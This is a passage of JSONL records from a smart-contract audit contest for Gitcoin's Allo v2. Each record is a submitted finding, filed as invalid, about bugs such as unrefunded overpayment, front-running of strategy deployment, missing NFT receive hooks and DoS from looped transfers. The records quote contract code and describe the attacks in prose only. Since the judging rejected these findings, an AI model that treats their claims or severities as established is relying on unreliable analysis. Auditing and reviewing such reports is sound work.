}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/893.md"}} +{"title":"QVBaseStrategy does not update poolAmount value after distributing tokens","severity":"info","body":"Helpful Bubblegum Spider\n\nhigh\n\n# QVBaseStrategy does not update poolAmount value after distributing tokens\nQVBaseStrategy does not update poolAmount value after distributing tokens\n## Vulnerability Detail\nDepositing/funding the pool increases the poolAmount variable and the token balance of the contract\nbut distributing tokens transfers the tokens to recipients and decreases the amount of tokens in the strategy/pool \nyet the poolAmount variable is not adjusted:\n\n```solidity\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount); \n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender); // @audit poolAmount should be updated after distribute\n unchecked {\n ++i;\n }\n }\n }\n```\n## Impact\nQVBaseStrategy uses poolAmount to calculate how much it will distribute in _getPayout():\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\nNot adjusting the poolAmount after distributing will lead to incorrect calculation of following distributions\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n## Tool used\n\nManual Review\n\n## Recommendation\nadjust the poolAmount in QVBaseStrategy#_distribute()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/892.md"}} +{"title":"On pool creation user need to provide `msg.value` more than required `baseFee`, but the rest of `msg.value` is not refunded back to user, (it will be kept in Allo)","severity":"info","body":"Brave Charcoal Cod\n\nhigh\n\n# On pool creation user need to provide `msg.value` more than required `baseFee`, but the rest of `msg.value` is not refunded back to user, (it will be kept in Allo)\n\nUser need to provide `msg.value` more than required `baseFee` when creating a pool, then the rest of `msg.value` is kept on Allo contract, not refunded back to user\n\n## Vulnerability Detail\n\nAllo charges some fee for pool creation, the amount to provide is the `baseFee`.\n\n```js\nFile: Allo.sol\n50: /// @notice Fee Allo charges for all pools on creation\n51: /// @dev This is different from the 'percentFee' in that this is a flat fee and not a percentage. So if you want to create a pool\n52: /// with a base fee of 100 DAI, then you would pass 100 DAI to the 'createPool()' function and the pool would be created\n53: /// with 100 DAI less than the amount you passed to the function. The base fee is sent to the treasury address.\n54: uint256 internal baseFee;\n```\n\nWhen user creates a pool, via `createPoolWithCustomStrategy` or `createPool`, it will call internal function `_createPool`. Inside this internal function there is this following snippet.\n\n```js\nFile: Allo.sol\n469: if (baseFee > 0) {\n470: // To prevent paying the baseFee from the Allo contract's balance\n471: // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n472: // If _token is not NATIVE, then baseFee should be >= than msg.value.\n473: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n474: revert NOT_ENOUGH_FUNDS();\n475: }\n476: _transferAmount(NATIVE, treasury, baseFee);\n477: emit BaseFeePaid(poolId, baseFee);\n478: }\n```\n\nThis snippet means, when the `baseFee` > 0, then there will be a check to make sure user provide a required `baseFee`. According to the code, this `baseFee` is nominated as NATIVE token.\n\nThe issue here is, this part of code.\n\n```js\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\nthe `>=` sign or `greater than or equal to` raise an issue here.\n\nwith this sign, it means, user need to provide `msg.value` greater than `baseFee`, because if `msg.value` equal `baseFee` then the transaction will be reverted, due to the equal sign in \">=\" operator.\n\nThis might not align with the common behaviour. If the intention is to allow transactions with exactly the required `baseFee`, then the condition should be modified to use > instead of >=.\n\nThis issue is a High one, because with current code (for example, assuming `_token` is not NATIVE) when user try to create a pool, they need to provide `msg.value` greater than `baseFee`, the `baseFee` amount then transferred to treasury, the rest of it will stay in Allo contract instead of refunded back to the user, thus user will loss their asset.\n\n## Impact\n\nUser need to provide baseFee amount more than required, and the rest of required baseFee amount will be kept by Allo contract instead of refunding it to user.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nthe condition check should be modified to use > instead of >=, for example\n\n```js\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/890.md"}} +{"title":"Timestamp verification flaw in _isPoolTimestampValid function","severity":"info","body":"Dancing Lemonade Stork\n\nhigh\n\n# Timestamp verification flaw in _isPoolTimestampValid function\n\nThe **_isPoolTimestampValid** function has an oversight in its timestamp verification logic, resulting in potential unintended behavior when determining the validity of pool timestamps.\n\n## Vulnerability Detail\n\nThe function **_isPoolTimestampValid** checks the validity of the provided timestamps to ensure they follow a logical sequence. While the function verifies most timestamp conditions, it overlooks a critical condition: ensuring that the **_allocationStartTime** is not less than the **_registrationEndTime**. This means a situation can arise where allocation can start even before registration has ended, causing potential inconsistencies and disruptions in the expected workflow.\n\n## Impact\n\nFailure to enforce the correct sequence of timestamps can lead to operational issues, user confusion, and potential misuse of the system. Specifically, users might be allocated resources before the registration period ends, which could unfairly impact late registrants.\n\nExample:\n\nSuppose the following timestamps are provided:\n\n- block.timestamp: 500\n- _registrationStartTime: 1000\n- _registrationEndTime: 2000\n- _allocationStartTime: 1500\n- _allocationEndTime: 2500\n\n- block.timestamp > _registrationStartTime (500 > 1000): false\n- _registrationStartTime > _registrationEndTime (1000 > 2000): false\n- _registrationStartTime > _allocationStartTime (1000 > 1500): false\n- _allocationStartTime > _allocationEndTime (1500 > 2500): false\n- _registrationEndTime > _allocationEndTime (2000 > 2500): false\n\nIn this scenario, the allocation process begins at timestamp 1500, even though registration doesn't conclude until timestamp 2000. This overlap can lead to disruptions and discrepancies in allocation.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L485C4-L509C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a condition to check that **_allocationStartTime** is not less than **_registrationEndTime**.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/888.md"}} +{"title":"Calling `execute()` can incur high expense as the data length is not checked while `_target.call`","severity":"info","body":"Genuine Mauve Rhino\n\nmedium\n\n# Calling `execute()` can incur high expense as the data length is not checked while `_target.call`\nIn `execute()`, `_data` is used to send data to the target address. But the length of the data is not checked while calling `_target.call` function. This could result in huge gas costs & sometimes even maybe exceeding the value to be sent resulting in denial of service.\n\n## Vulnerability Detail\n\n```solidity\nFile: Anchor.sol\n\n78: (bool success, bytes memory data) = _target.call{value: _value}(_data);\n```\n## Impact\nIf the length of `_data` is too long, the call will fail leading to a revert even if all the parameters are correctly passed when calling the `execute()`.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L78\n\n## Tool used\nManual Review\n\n## Recommendation\nCheck the length of the data to be sent before executing.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/887.md"}} +{"title":"Malicious user can front-run the strategy to DOS it or steal it to save gas.","severity":"info","body":"Oblong Clay Kangaroo\n\nmedium\n\n# Malicious user can front-run the strategy to DOS it or steal it to save gas.\nTo create a pool with `createPoolWithCustomStrategy`, user need to deploy a `strategy`.\n\nAfter deploying the `strategy`, malicious user can front-run `createPoolWithCustomStrategy` to use the deployed strategy or prevent the deployer from using it.\n\n## Vulnerability Detail\nTo call `createPoolWithCustomStrategy`, user must pass the address of the strategy as an argument.\n\nTherefore, it is necessary to deploy the strategy before calling `createPoolWithCustomStrategy`.\n\nA malicious user could discover the strategy deploy and call `createPoolWithCustomStrategy` with it as an argument first. If they want to use that strategy, they can save gas by running it first.\n\nAlso, since the strategy is initialized inside `createPoolWithCustomStrategy`, it is possible to do a DoS attack to prevent the deployer from being used.\n\n## Impact\nMalicious user can front-run `createPoolWithCustomStrategy` to save gas on strategy deployment. \nAlso malicious user can cause DoS.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L144-L161\n\n## Tool used\n\nManual Review\n\n## Recommendation\nModify `createPoolWithCustomStrategy` so that it can be cloned and used just like `createPool`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/884.md"}} +{"title":"Anchor contract is unable to receive NFTs of any kind","severity":"info","body":"Flat Sapphire Platypus\n\nhigh\n\n# Anchor contract is unable to receive NFTs of any kind\nAs discussed with the sponsers, anchor contract is supposed to receive and hold the nfts for reputation and other purposed but it does not receive the on receive function for erc721 and erc1155 and will not be able to receive the nfts.\n## Vulnerability Detail\nAnchor.sol essentially works like a wallet, and also attached to profile to give it extra credibility and profile owner more functionality.\n\nAs intended this contract will receive nfts, from different strategies and protocols. However, as it is currently implemented thee contracts will not be able to receive NFTs sent with safeTransferFrom(), because they do not implement the necessary functions to safely receive these tokens..\n\nWhile in many cases such a situation would be Medium severity, looking at these wallets will be used could lead to more serious consequences. For example, having an anchor that is entitled to high value NFTs but is not able to receive them is clearly a loss of funds risk, and a High severity issue.\n\nimplement the onERC721Received() and onERC1155Received() functions in following code:\n\n```solidity\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.19;\n\n// Core Contracts\nimport {Registry} from \"./Registry.sol\";\n\n// ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢€ā£¾ā£æā£·ā”€ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£¼ā£æā£æā£·ā£„ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢€ā£æā£æā£æā£æā£·ā”€ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£¼ā£æā£æā£æā£æā£æā”„ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£æā£æā£æā”„ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£øā£æā£æā£æā¢æā£æā£æā£æā”€ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā ˜ā£æā£æā£æā£æā£æā£æā£æā£„ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£°ā£æā£æā£æā”Ÿā ˜ā£æā£æā£æā£·ā”€ā €ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā €ā£€ā£“ā£¾ā£æā£æā£æā£æā£¾ā »ā£æā£æā£æā£æā£æā£æā£æā”†ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢ ā£æā£æā£æā”æā €ā €ā øā£æā£æā£æā£§ā €ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā €ā €ā¢€ā£ ā£“ā£“ā£¶ā£¶ā£¶ā£¦ā£¦ā£€ā”€ā €ā €ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā£“ā£æā£æā£æā£æā£æā£æā”æā ƒā €ā ™ā£æā£æā£æā£æā£æā£æā£æā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢ ā£æā£æā£æā£æā ā €ā €ā €ā¢»ā£æā£æā£æā£§ā €ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā£ ā£¾ā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£¶ā”€ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā¢€ā£¾ā£æā£æā£æā£æā£æā£æā”æā ā €ā €ā €ā ˜ā£æā£æā£æā£æā£æā”æā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢€ā£¾ā£æā£æā£æā ƒā €ā €ā €ā €ā ˆā¢æā£æā£æā£æā£†ā €ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā£°ā£æā£æā£æā”æā ‹ā ā €ā €ā ˆā ˜ā ¹ā£æā£æā£æā£æā£†ā €ā €ā €\n// ā €ā €ā €ā €ā¢€ā£¾ā£æā£æā£æā£æā£æā£æā”æā €ā €ā €ā €ā €ā €ā ˆā¢æā£æā£æā£æā ƒā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£¾ā£æā£æā£æā ā €ā €ā €ā €ā €ā €ā ˜ā£æā£æā£æā£æā”„ā €ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā¢°ā£æā£æā£æā£æā ā €ā €ā €ā €ā €ā €ā €ā ˜ā£æā£æā£æā£æā”€ā €ā €\n// ā €ā €ā €ā¢ ā£æā£æā£æā£æā£æā£æā£æā£Ÿā €ā”€ā¢€ā €ā”€ā¢€ā €ā”€ā¢ˆā¢æā”Ÿā ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£¼ā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā”„ā €ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£æā£æā£æā£æā”‡ā €ā €\n// ā €ā €ā£ ā£æā£æā£æā£æā£æā£æā”æā ‹ā¢»ā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£·ā£¶ā£„ā”€ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£øā£æā£æā£æā”æā¢æā æā æā æā æā æā æā æā æā æā¢æā£æā£æā£æā£·ā”€ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā øā£æā£æā£æā£·ā”€ā €ā €ā €ā €ā €ā €ā €ā¢ ā£æā£æā£æā£æā ‚ā €ā €\n// ā €ā €ā ™ā ›ā æā »ā »ā ›ā ‰ā €ā €ā ˆā¢æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£·ā£„ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā£°ā£æā£æā£æā£æā ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢æā£æā£æā£æā£§ā €ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā¢»ā£æā£æā£æā£·ā£€ā¢€ā €ā €ā €ā”€ā£°ā£¾ā£æā£æā£æā ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā ˆā ›ā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā£æā”„ā €ā €ā €ā €ā €ā €ā €ā €ā €ā¢°ā£æā£æā£æā£æā ƒā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā ˜ā£æā£æā£æā£æā£§ā €ā €ā¢øā£æā£æā£æā£—ā €ā €ā €ā¢øā£æā£æā£æā”Æā €ā €ā €ā €ā ¹ā¢æā£æā£æā£æā£æā£¾ā£¾ā£·ā£æā£æā£æā£æā”æā ‹ā €ā €ā €ā €\n// ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā ˆā ™ā ™ā ‹ā ›ā ™ā ‹ā ›ā ™ā ‹ā ›ā ™ā ‹ā ƒā €ā €ā €ā €ā €ā €ā €ā €ā  ā æā »ā Ÿā æā ƒā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā €ā øā Ÿā æā Ÿā æā †ā €ā øā æā æā Ÿā Æā €ā €ā €ā øā æā æā æā ā €ā €ā €ā €ā €ā ˆā ‰ā »ā »ā”æā£æā¢æā”æā”æā æā ›ā ā €ā €ā €ā €ā €ā €\n// allo.gitcoin.co\n\n/// @title Anchor contract\n/// @author @thelostone-mc , @0xKurt , @codenamejason , @0xZakk , @nfrgosselin \n/// @notice Anchors are associated with profiles and are accessible exclusively by the profile owner. This contract ensures secure\n/// and authorized interaction with external addresses, enhancing the capabilities of profiles and enabling controlled\n/// execution of operations. The contract leverages the `Registry` contract for ownership verification and access control.\ncontract Anchor {\n /// ==========================\n /// === Storage Variables ====\n /// ==========================\n\n /// @notice The registry contract on any given network/chain\n Registry public immutable registry;\n\n /// @notice The profileId of the allowed profile to execute calls\n bytes32 public immutable profileId;\n\n /// ==========================\n /// ======== Errors ==========\n /// ==========================\n\n /// @notice Throws when the caller is not the owner of the profile\n error UNAUTHORIZED();\n\n /// @notice Throws when the call to the target address fails\n error CALL_FAILED();\n\n /// ==========================\n /// ======= Constructor ======\n /// ==========================\n\n /// @notice Constructor\n /// @dev We create an instance of the 'Registry' contract using the 'msg.sender' and set the profileId.\n /// @param _profileId The ID of the allowed profile to execute calls\n constructor(bytes32 _profileId) {\n registry = Registry(msg.sender);\n profileId = _profileId;\n }\n\n /// ==========================\n /// ======== External ========\n /// ==========================\n\n /// @notice Execute a call to a target address\n /// @dev 'msg.sender' must be profile owner\n /// @param _target The target address to call\n /// @param _value The amount of native token to send\n /// @param _data The data to send to the target address\n /// @return Data returned from the target address\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n }\n\n /// @notice This contract should be able to receive native token\n receive() external payable {}\n}\n```\n## Impact\nAny time an ERC721 or ERC1155 is attempted to be transferred with safeTransferFrom() or minted with safeMint(), the call will fail.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L1C1-L88C2\n## Tool used\n\nManual Review\n\n## Recommendation\nimplement the onERC721Received() and onERC1155Received() functions","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/883.md"}} +{"title":"Revert on exact amount","severity":"info","body":"Scruffy Taupe Orca\n\nmedium\n\n# Revert on exact amount\nThe Allo contract has a _createPool() function which let's users create their own pools. User specifies the amount he wants to deposit into the pool. There's a condition that checks if the user has provided enough msg.value to cover `baseFee + amount`. \n\n\n## Vulnerability Detail \nThe problem is that if a user provides **exactly** the amount needed the function would revert leading to user confusion.\n\n## Impact\nUser confusion.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\nManual review\n\n## Recommendation\nIt would be better to use `>` instead of `>=`. That way the transaction won't revert on exact amount provided.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/882.md"}} +{"title":"Centralization Concerns in Admin-Controlled Merkle Root Distribution","severity":"info","body":"Dancing Lemonade Stork\n\nhigh\n\n# Centralization Concerns in Admin-Controlled Merkle Root Distribution\n\nCentralization Risk in **updateDistribution** Due to Admin-Controlled Merkle Root Updates\n\n## Vulnerability Detail\n\nThe **updateDistribution** function allows an admin, or pool manager, to set the Merkle root and associated distribution metadata. While this provides flexibility in updating distribution details before it starts, it also poses a potential centralization risk. If the admin mistakenly misses out on a recipient or deliberately excludes one when forming the Merkle tree, that recipient would be unable to claim their funds. The function heavily relies on the correctness and integrity of the admin.\n\n## Impact\n\nThis centralization risk can undermine trust in the system, as users might worry about the fairness and accuracy of the distribution. In a worst-case scenario, an unethical or compromised admin could manipulate distributions to their advantage or to disadvantage certain users.\n\n## Code Snippet\n\nDonationVotingMerkleDistributionBaseStrategy.sol\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L420\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of just setting a new Merkle root, the function can be modified to take an array of recipient details and then generate and verify the Merkle root in the contract itself. This way, users can see all the recipients and verify the integrity of the Merkle tree.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/880.md"}} +{"title":"`transfering` tokens to multiple addresses togather inside a loop can create DOS issue.","severity":"info","body":"Stable Charcoal Bison\n\nhigh\n\n# `transfering` tokens to multiple addresses togather inside a loop can create DOS issue.\n\nSending ether to another address in Ethereum involves a call to the receiving entity. There are several reasons why this external call could fail. If the receiving address is a contract, it could have a fallback function implemented that simply throws an exception, once it gets called. Another reason for failure is running out of gas. This can happen in cases where a lot of external calls have to be made within one single function call, for example when sending the profits of a bet to multiple winners. Because of these reasons developers should follow a simple principle: never trust external calls to execute without throwing an error. Most of the times this is not an issue, because it could be argued that it is the responsibility of the receiver to make sure that he is able to receive his money, and in case he does not, it is only to his disadvantage, but in reality it freeze a whole contract.\n\n## Vulnerability Detail\n\n## Code Snippet\n\n```solidity\nfunction _transferAmountsFrom(\n address _token,\n TransferData[] memory _transferData\n) internal returns (bool) {\n uint256 msgValue = msg.value;\n\n for (uint256 i; i < _transferData.length; ) {\n TransferData memory transferData = _transferData[i];\n\n if (_token == NATIVE) {\n msgValue -= transferData.amount;\n\n SafeTransferLib.safeTransferETH(\n transferData.to,\n transferData.amount\n );\n } else {\n SafeTransferLib.safeTransferFrom(\n _token,\n transferData.from,\n transferData.to,\n transferData.amount\n );\n }\n\n unchecked {\n i++;\n }\n }\n\n if (msgValue != 0) revert AMOUNT_MISMATCH();\n\n return true;\n}\n```\n\n[Transfer.sol - Lines 43 - 64](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L43-L64)\n\nThe `_transferAmountsFrom` function of the `Transfer` contract transfers the tokens (NATIVE or ERC20) to multiple addresses inside the loop and this approach is unsafe for multiple reasons here (see the impact section):\n\n## Impact\n\n1. If the `_token` is `NATIVE`, then it transfers the ETH to multiple addresses and if any address `reject` to accept the `ether` then it will revert the whole transaction, which will affect all the other addresses because due to single address other addresses will also not be able to receive the `ether`.\n\n2. If the `_token` is not `NATIVE`, then it transfers the ERC20 tokens to multiple addresses (this protocol works with all ERC20 tokens) and we are all aware of that some tokens such as `USDC`, and `USDT` contains the admin level controlled address blocklist. If any of the `to` or `from` will be blacklist by these types of tokens then the whole transaction will revert and it will affect all the other addresses.\n\n3. If the address does not approve the contract or does not have enough funds then also the transaction will revert and affect all the addresses.\n\n```solidity\nfunction _transferAmount(\n address _token,\n address _to,\n uint256 _amount\n) internal {\n if (_token == NATIVE) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n}\n```\n\n[Transfer.sol - Lines 87 - 93](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L87-L93)\n\nAlso the `_transferAmount` function of the `Transfer` contract has the same issue. It itself does not contain any loop to trnasfer to multiple addresses but it is used inside the loops in other contracts on these locations:\n\n1. [DonationVotingMerkleDistributionBaseStrategy.sol - Line 793](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L793): `_distributeSingle` function is used in `_distribute` function where loop is used to tranfer to multiple addresses togather but for any blocklist address/contract not receiving ethers, all others will not be able to get funds and this function will revert.\n\n2. [QVBaseStrategy.sol - Line 456](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456): `_distribute` function itself transfering inside the loop.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo overcome these limitations the Pull Over Push technique has been proposed that isolates each external call and shifts the risk of failure from the contract to the user. Due to the isolation of the transfers, no other transfers or contract logic have to rely on its successful execution.\n\n**Applicability**\n\nUse the Pull over Push pattern when\n\n1. you want to handle multiple ether transfers with one function call.\n2. you want to avoid taking the risk associated with ether transfers.\n3. there is an incentive for your users to handle ether withdrawal on their own.\n\nThe detail guide can be found here [Pull Over Push Pattern](https://fravoll.github.io/solidity-patterns/pull_over_push.html) which demostrate how sending ether to multiple address can create issues and how you can overcome it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/878.md"}} +{"title":"Allo user is forced to supply more Eth than necessary but it's not credited back the remainder","severity":"info","body":"Boxy Clay Ladybug\n\nhigh\n\n# Allo user is forced to supply more Eth than necessary but it's not credited back the remainder\nThe current implementation of `Allo.sol` doesn't allow to create and fund a pool with `Native` token where `baseFee` + `amount` is exactly `msg.value` - this forces the user to always transfer more `msg.value` than intended but doesn't credit back the excess. Usually supplying more `msg.value` than needed is considered a user mistake, however, in this case the user is required to do so but doesn't receive the excess back which is a valid loss of funds for the user & could also break integrations of other systems / contracts with the Allo pool creation. \n## Vulnerability Detail\nIn the function `_createPool(...)` we have the following check (displayed in the code snippet below). Assume that we want to create and fund a pool with the `Native` token for `amount=X` and a `baseFee=Y` - from the `if` statement below you can see that if `baseFee + _amount >= msg.value` we will have a revert, this implies that `msg.value` must always be greater than `X + Y`, therefore, for a successful creation of a pool the user must always overpay in `msg.value`, however, the excess of `msg.value` is never credited back to the user and causes an unnecessary loss of funds. \n```solidity\nfunction 